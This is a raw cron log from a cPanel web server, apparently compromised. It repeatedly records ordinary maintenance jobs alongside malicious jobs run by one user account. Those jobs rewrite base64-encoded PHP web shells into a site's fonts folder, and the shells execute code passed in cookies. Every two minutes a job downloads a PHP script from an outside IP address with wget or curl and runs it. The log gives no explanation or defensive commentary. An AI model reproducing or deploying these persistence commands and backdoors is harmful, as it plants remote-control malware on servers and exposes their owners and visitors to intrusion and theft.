Aug 31 15:42:01 ip-184-168-122-23 CROND[23202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:42:01 ip-184-168-122-23 CROND[23204]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 15:42:01 ip-184-168-122-23 CROND[23205]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:42:01 ip-184-168-122-23 CROND[23206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:42:01 ip-184-168-122-23 CROND[23211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:43:01 ip-184-168-122-23 CROND[23302]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:43:01 ip-184-168-122-23 CROND[23305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:43:01 ip-184-168-122-23 CROND[23303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:43:01 ip-184-168-122-23 CROND[23304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:44:01 ip-184-168-122-23 CROND[23449]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:44:01 ip-184-168-122-23 CROND[23451]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 15:44:01 ip-184-168-122-23 CROND[23452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:44:01 ip-184-168-122-23 CROND[23454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:44:01 ip-184-168-122-23 CROND[23453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:45:02 ip-184-168-122-23 CROND[23570]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:45:02 ip-184-168-122-23 CROND[23573]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 15:45:02 ip-184-168-122-23 CROND[23575]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:45:02 ip-184-168-122-23 CROND[23572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:45:02 ip-184-168-122-23 CROND[23576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:45:02 ip-184-168-122-23 CROND[23574]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 15:46:01 ip-184-168-122-23 CROND[23680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:46:01 ip-184-168-122-23 CROND[23682]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:46:01 ip-184-168-122-23 CROND[23683]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 15:46:01 ip-184-168-122-23 CROND[23689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:46:01 ip-184-168-122-23 CROND[23687]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 15:46:01 ip-184-168-122-23 CROND[23688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:46:01 ip-184-168-122-23 CROND[23690]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 15:47:01 ip-184-168-122-23 CROND[23795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:47:01 ip-184-168-122-23 CROND[23797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:47:01 ip-184-168-122-23 CROND[23796]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:47:01 ip-184-168-122-23 CROND[23798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:48:01 ip-184-168-122-23 CROND[23970]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:48:01 ip-184-168-122-23 CROND[23973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:48:01 ip-184-168-122-23 CROND[23974]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 15:48:01 ip-184-168-122-23 CROND[23972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:48:01 ip-184-168-122-23 CROND[23975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:49:01 ip-184-168-122-23 CROND[24069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:49:01 ip-184-168-122-23 CROND[24070]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:49:01 ip-184-168-122-23 CROND[24071]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:49:01 ip-184-168-122-23 CROND[24072]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:50:01 ip-184-168-122-23 CROND[24158]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 15:50:01 ip-184-168-122-23 CROND[24162]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 15:50:01 ip-184-168-122-23 CROND[24166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:50:01 ip-184-168-122-23 CROND[24165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:50:01 ip-184-168-122-23 CROND[24172]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:50:01 ip-184-168-122-23 CROND[24171]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 15:50:01 ip-184-168-122-23 CROND[24170]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 15:50:01 ip-184-168-122-23 CROND[24169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:50:01 ip-184-168-122-23 CROND[24173]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 15:51:01 ip-184-168-122-23 CROND[24272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:51:01 ip-184-168-122-23 CROND[24274]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:51:01 ip-184-168-122-23 CROND[24275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:51:01 ip-184-168-122-23 CROND[24273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:52:01 ip-184-168-122-23 CROND[24377]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:52:01 ip-184-168-122-23 CROND[24379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:52:01 ip-184-168-122-23 CROND[24380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:52:01 ip-184-168-122-23 CROND[24382]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 15:52:01 ip-184-168-122-23 CROND[24383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:53:01 ip-184-168-122-23 CROND[24479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 15:53:01 ip-184-168-122-23 CROND[24480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:53:01 ip-184-168-122-23 CROND[24481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:53:01 ip-184-168-122-23 CROND[24483]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:54:01 ip-184-168-122-23 CROND[24682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:54:01 ip-184-168-122-23 CROND[24683]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 15:54:01 ip-184-168-122-23 CROND[24684]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
